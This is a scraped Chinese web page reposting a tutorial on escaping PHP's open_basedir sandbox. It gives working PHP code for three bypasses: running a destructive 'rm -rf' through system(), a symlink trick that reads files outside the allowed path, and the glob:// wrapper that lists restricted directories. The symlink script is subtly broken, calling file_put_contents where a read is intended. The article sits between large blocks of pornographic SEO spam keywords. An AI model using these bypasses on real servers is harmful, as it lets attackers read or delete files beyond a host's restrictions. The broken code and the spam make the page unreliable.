婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > PHP繞過open_basedir限制操作文件的方法

PHP繞過open_basedir限制操作文件的方法

熱門標簽:拉薩打電話機器人 寶安400電話辦理 智能外呼電銷系統 沈陽人工智能電銷機器人公司 合肥外呼系統app 電銷機器人-快迭智能 高識別電銷機器人 h5 地圖標注 哈爾濱400電話辦理到易號網

0x00 預備知識

關于open_basedir

open_basedir是php.ini中的一個配置選項

它可將用戶訪問文件的活動范圍限制在指定的區域,

假設open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通過web1訪問服務器的用戶就無法獲取服務器上除了/home/wwwroot/home/web1/和/tmp/這兩個目錄以外的文件。

注意用open_basedir指定的限制實際上是前綴,而不是目錄名。

舉例來說: 若"open_basedir = /dir/user", 那么目錄 "/dir/user" 和 "/dir/user1"都是可以訪問的。所以如果要將訪問限制在僅為指定的目錄,請用斜線結束路徑名。

關于符號鏈接

符號鏈接又叫軟鏈接,是一類特殊的文件,這個文件包含了另一個文件的路徑名(絕對路徑或者相對路徑)。

路徑可以是任意文件或目錄,可以鏈接不同文件系統的文件。在對符號文件進行讀或寫操作的時候,系統會自動把該操作轉換為對源文件的操作,但刪除鏈接文件時,系統僅僅刪除鏈接文件,而不刪除源文件本身。

0x01 命令執行函數

由于open_basedir的設置對system等命令執行函數是無效的,所以我們可以使用命令執行函數來訪問限制目錄。

我們首先創建一個目錄

/home/puret/test/

且在該目錄下新建一個1.txt 內容為abc

nano 1.txt

再在該目錄下創建一個目錄命名為b

mkdir b

并且在該目錄下創建一個1.php文件內容為

?php
  echo file_get_contents("../1.txt");
?>

且在php.ini中設置好我們的open_basedir

open_basedir = /home/puret/test/b/

我們嘗試執行1.php看看open_basedir是否會限制我們的訪問

執行效果如圖

很明顯我們無法直接讀取open_basedir所規定以外的目錄文件。

接下來我們用system函數嘗試繞open_basedir的限制來刪除1.txt

編輯1.php為

?php
 system("rm -rf ../1.txt");
?>

先來看看執行1.php之前的文件情況

執行1.php之后

成功通過命令執行函數繞過open_basedir來刪除文件。
由于命令執行函數一般都會被限制在disable_function當中,所以我們需要尋找其他的途徑來繞過限制。

0x02 symlink()函數

我們先來了解一下symlink函數

bool symlink ( string $target , string $link )

symlink函數將建立一個指向target的名為link的符號鏈接,當然一般情況下這個target是受限于open_basedir的。
由于早期的symlink不支持windows,我的測試環境就放在Linux下了。

測試的PHP版本是5.3.0,其他的版本大家自測吧。

在Linux環境下我們可以通過symlink完成一些邏輯上的繞過導致可以跨目錄操作文件。

我們首先在/var/www/html/1.php中 編輯1.php的內容為

?php
  mkdir("c");
  chdir("c");
  mkdir("d");
  chdir("d");
  chdir("..");
  chdir("..");
  symlink("c/d","tmplink");
  symlink("tmplink/../../1.txt","exploit");
  unlink("tmplink");
  mkdir("tmplink");
  echo file_put_contents("http://127.0.0.1/exploit");
?>

接著在/var/www/中新建一個1.txt文件內容為

"abc"

再來設置一下我們的open_basedir

open_basedir = /var/www/html/

在html目錄下編輯一個php腳本檢驗一下open_basedir

?php
   file_get_contents("../1.txt");
?>

執行看下。

意料之中,文件無法訪問。

我們執行剛才寫好的腳本,1.php

可以看到成功讀取到了1.txt的文件內容,逃脫了open_basedir的限制

問題的關鍵就在于

symlink("tmplink/../../1.txt","exploit");

此時tmplink還是一個符號鏈接文件,它指向的路徑是c/d,因此exploit指向的路徑就變成了

c/d/../../1.txt

由于這個路徑在open_basedir的范圍之內所以exploit成功建立了。

之后我們刪除tmplink符號鏈接文件再新建一個同名為tmplink的文件夾,這時exploit所指向的路徑為

tmplink/../../

由于這時候tmplink變成了一個真實存在的文件夾所以tmplink/../../變成了1.txt所在的目錄即/var/www/

然后再通過訪問符號鏈接文件exploit即可直接讀取到1.txt的文件內容

當然,針對symlink()只需要將它放入disable_function即可解決問題,所以我們需要尋求更多的方法。

0x03 glob偽協議

glob是php自5.3.0版本起開始生效的一個用來篩選目錄的偽協議,由于它在篩選目錄時是不受open_basedir的制約的,所以我們可以利用它來繞過限制,我們新建一個目錄在/var/www/下命名為test

并且在/var/www/html/下新建t.php內容為

?php
  $a = "glob:///var/www/test/*.txt";
  if ( $b = opendir($a) ) {
    while ( ($file = readdir($b)) !== false ) {
      echo "filename:".$file."\n";
    }
    closedir($b);
  }
?>

執行結果如圖:

成功躲過open_basedir的限制讀取到了文件。

您可能感興趣的文章:
  • php利用ZipArchive類操作文件的實例
  • PHP操作文件的一些基本函數使用示例
  • PHP操作文件類的函數代碼(文件和文件夾創建,復制,移動和刪除)
  • PHP 操作文件的一些FAQ總結
  • PHP操作文件方法問答
  • 在PHP中操作文件的擴展屬性

標簽:山東 張家口 成都 巴中 梅州 林芝 威海 泰州

巨人網絡通訊聲明:本文標題《PHP繞過open_basedir限制操作文件的方法》,本文關鍵詞  PHP,繞過,open,basedir,限制,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《PHP繞過open_basedir限制操作文件的方法》相關的同類信息!
  • 本頁收集關于PHP繞過open_basedir限制操作文件的方法的相關信息資訊供網民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    欧美电影免费观看高清完整版在 | 99久久伊人精品| 美女在线视频一区| 美女爽到高潮91| 国模套图日韩精品一区二区| 极品美女销魂一区二区三区| 久久激情五月激情| 国产原创一区二区三区| 国产精品资源在线| 懂色av一区二区三区免费看| 国产一区二区在线看| 国产激情视频一区二区在线观看 | 欧美精品一区二区精品网| 日韩欧美成人午夜| 久久久综合网站| 综合久久综合久久| 五月天精品一区二区三区| 理论电影国产精品| 成人免费视频视频在线观看免费 | 精品在线观看免费| 成人动漫视频在线| 欧美色网一区二区| 日韩精品专区在线影院观看| 亚洲国产激情av| 亚洲国产乱码最新视频| 国产在线麻豆精品观看| 成人激情午夜影院| 欧美高清视频在线高清观看mv色露露十八 | 亚洲成av人片一区二区梦乃| 免费国产亚洲视频| 国产成人亚洲综合a∨婷婷 | 国产精品毛片高清在线完整版 | 久久国产精品99久久人人澡| 国产不卡视频在线观看| 在线观看av一区二区| 日韩精品一区二区三区四区视频| 国产亚洲制服色| 亚洲国产成人精品视频| 国产精品1区2区3区| 欧美日韩二区三区| 国产精品丝袜久久久久久app| 图片区小说区区亚洲影院| 国产suv精品一区二区三区| 欧美日韩精品一区视频| 中文字幕一区av| 九九久久精品视频| 欧美亚洲日本国产| 中文字幕在线不卡一区| 另类小说色综合网站| 欧美图片一区二区三区| 国产精品毛片无遮挡高清| 久久超碰97中文字幕| 欧美午夜免费电影| 中文字幕视频一区| 福利一区在线观看| 久久麻豆一区二区| 久久99精品网久久| 日韩免费电影一区| 强制捆绑调教一区二区| 欧美日韩精品一区二区三区| 亚洲视频在线观看三级| 丁香婷婷深情五月亚洲| 欧美电视剧免费观看| 三级影片在线观看欧美日韩一区二区| 91在线丨porny丨国产| 国产精品人成在线观看免费| 国产麻豆精品视频| 久久久99精品免费观看不卡| 国内成人免费视频| 久久久久97国产精华液好用吗| 老司机精品视频导航| 91精品国产丝袜白色高跟鞋| 婷婷综合另类小说色区| 5858s免费视频成人| 亚洲国产综合人成综合网站| 欧洲激情一区二区| 五月天丁香久久| 日韩欧美二区三区| 国产美女精品在线| 国产欧美视频在线观看| 成人av集中营| 一片黄亚洲嫩模| 欧美日韩国产综合久久 | 免费不卡在线视频| 99精品国产99久久久久久白柏| 综合av第一页| 欧美亚洲日本国产| 久草在线在线精品观看| 国产日韩精品一区二区浪潮av| av一区二区三区| 一区二区三区四区不卡在线| 欧美日韩精品一区二区| 免费观看91视频大全| 久久精品亚洲精品国产欧美kt∨| 成人综合日日夜夜| 一区二区三区.www| 欧美一区二区三区免费在线看| 日本欧美肥老太交大片| 久久夜色精品国产噜噜av| heyzo一本久久综合| 亚洲国产成人av网| 久久久久久久久久久久久久久99| 99久久夜色精品国产网站| 午夜亚洲福利老司机| 久久婷婷国产综合精品青草| caoporn国产精品| 天天色天天操综合| 国产丝袜在线精品| 欧美性猛交xxxx黑人交| 韩国精品主播一区二区在线观看| 国产精品久久久久久久久久免费看 | 美腿丝袜在线亚洲一区| 国产精品美女久久久久久久久 | 精品伊人久久久久7777人| 中文字幕中文字幕一区| 欧美高清www午色夜在线视频| 风间由美性色一区二区三区| 亚洲午夜免费视频| 亚洲国产激情av| 欧美一级在线免费| 在线免费av一区| 国产乱码字幕精品高清av| 洋洋av久久久久久久一区| 久久久久久电影| 日韩欧美你懂的| 欧美亚洲综合在线| 色婷婷综合激情| 懂色av中文一区二区三区| 日本美女一区二区三区| 亚洲另类在线制服丝袜| 中文文精品字幕一区二区| 精品少妇一区二区三区日产乱码| 色婷婷亚洲婷婷| 91视频你懂的| 91在线码无精品| av亚洲精华国产精华精| 成人一区二区在线观看| 狠狠色丁香婷综合久久| 美国欧美日韩国产在线播放| 亚洲国产精品视频| 午夜精品在线看| 日韩和欧美一区二区三区| 亚洲无人区一区| 午夜亚洲福利老司机| 亚洲国产一区二区三区| 亚洲资源在线观看| 亚洲第一会所有码转帖| 亚洲在线观看免费| 亚洲国产cao| 人妖欧美一区二区| 激情综合色播五月| 国产麻豆精品久久一二三| 国产一区二区看久久| 国产成人在线免费观看| jiyouzz国产精品久久| 91伊人久久大香线蕉| 色一情一伦一子一伦一区| 91蝌蚪porny| 欧美日韩国产高清一区二区三区 | 色综合婷婷久久| 91丝袜呻吟高潮美腿白嫩在线观看| 成人av电影在线| 欧美色综合影院| 日韩精品一区二区三区在线| 久久精品一区蜜桃臀影院| 中文字幕欧美国产| 亚洲一区二区3| 黄一区二区三区| 91免费国产在线| 日韩欧美国产不卡| 中文字幕不卡三区| 性做久久久久久久久| 久久99精品国产91久久来源 | 亚洲嫩草精品久久| 三级欧美韩日大片在线看| 国产馆精品极品| 欧美性欧美巨大黑白大战| 日韩欧美国产电影| 亚洲视频中文字幕| 精品亚洲国产成人av制服丝袜| 国产精品香蕉一区二区三区| 色8久久精品久久久久久蜜| 91精品麻豆日日躁夜夜躁| 亚洲精品一区在线观看| 中文字幕一区二区5566日韩| 日韩电影在线观看电影| 成人免费高清在线| 日韩欧美国产一区在线观看| 中文字幕一区二区三| 老色鬼精品视频在线观看播放| 99久久精品国产毛片| 日韩欧美激情四射| 亚洲一区二区三区自拍| 国产呦萝稀缺另类资源| 欧美三级日本三级少妇99| 久久精品水蜜桃av综合天堂| 亚洲国产精品一区二区久久 | 99在线精品视频| 欧美不卡视频一区| 午夜视频一区二区|